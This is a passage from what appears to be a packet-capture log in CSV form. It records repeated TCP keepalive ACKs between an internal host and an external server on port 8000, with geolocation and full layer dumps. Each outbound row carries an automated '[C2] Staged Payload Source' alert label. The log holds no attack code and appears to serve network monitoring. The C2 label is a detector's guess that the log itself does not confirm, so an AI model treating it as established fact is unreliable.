{\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:59.843343,374,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034ca9d400040066556c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eV....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51869, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25942, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:00.858762,375,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b04d400080063fb10a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45133, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16305, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:00.858795,376,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034ca9e400040066555c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eU....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51870, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25941, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:01.874431,377,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b04e400080063fb00a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45134, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16304, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:01.874451,378,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034ca9f400040066554c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eT....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51871, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25940, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:02.890127,379,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b04f400080063faf0a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45135, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16303, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:02.890160,380,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa0400040066553c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eS....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51872, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25939, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:03.890255,381,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b050400080063fae0a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45136, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16302, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:03.890285,382,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa1400040066552c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eR....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51873, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25938, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:04.905759,383,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b051400080063fad0a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45137, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16301, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:04.905795,384,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa2400040066551c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eQ....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51874, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25937, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:05.905731,385,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b052400080063fac0a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45138, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16300, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:05.905747,386,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa3400040066550c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eP....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51875, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25936, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:06.905809,387,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b053400080063fab0a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45139, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16299, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:06.905843,388,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa440004006654fc0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eO....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51876, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25935, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:07.921489,389,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b054400080063faa0a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45140, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16298, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:07.921534,390,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa540004006654ec0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eN....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51877, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25934, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": 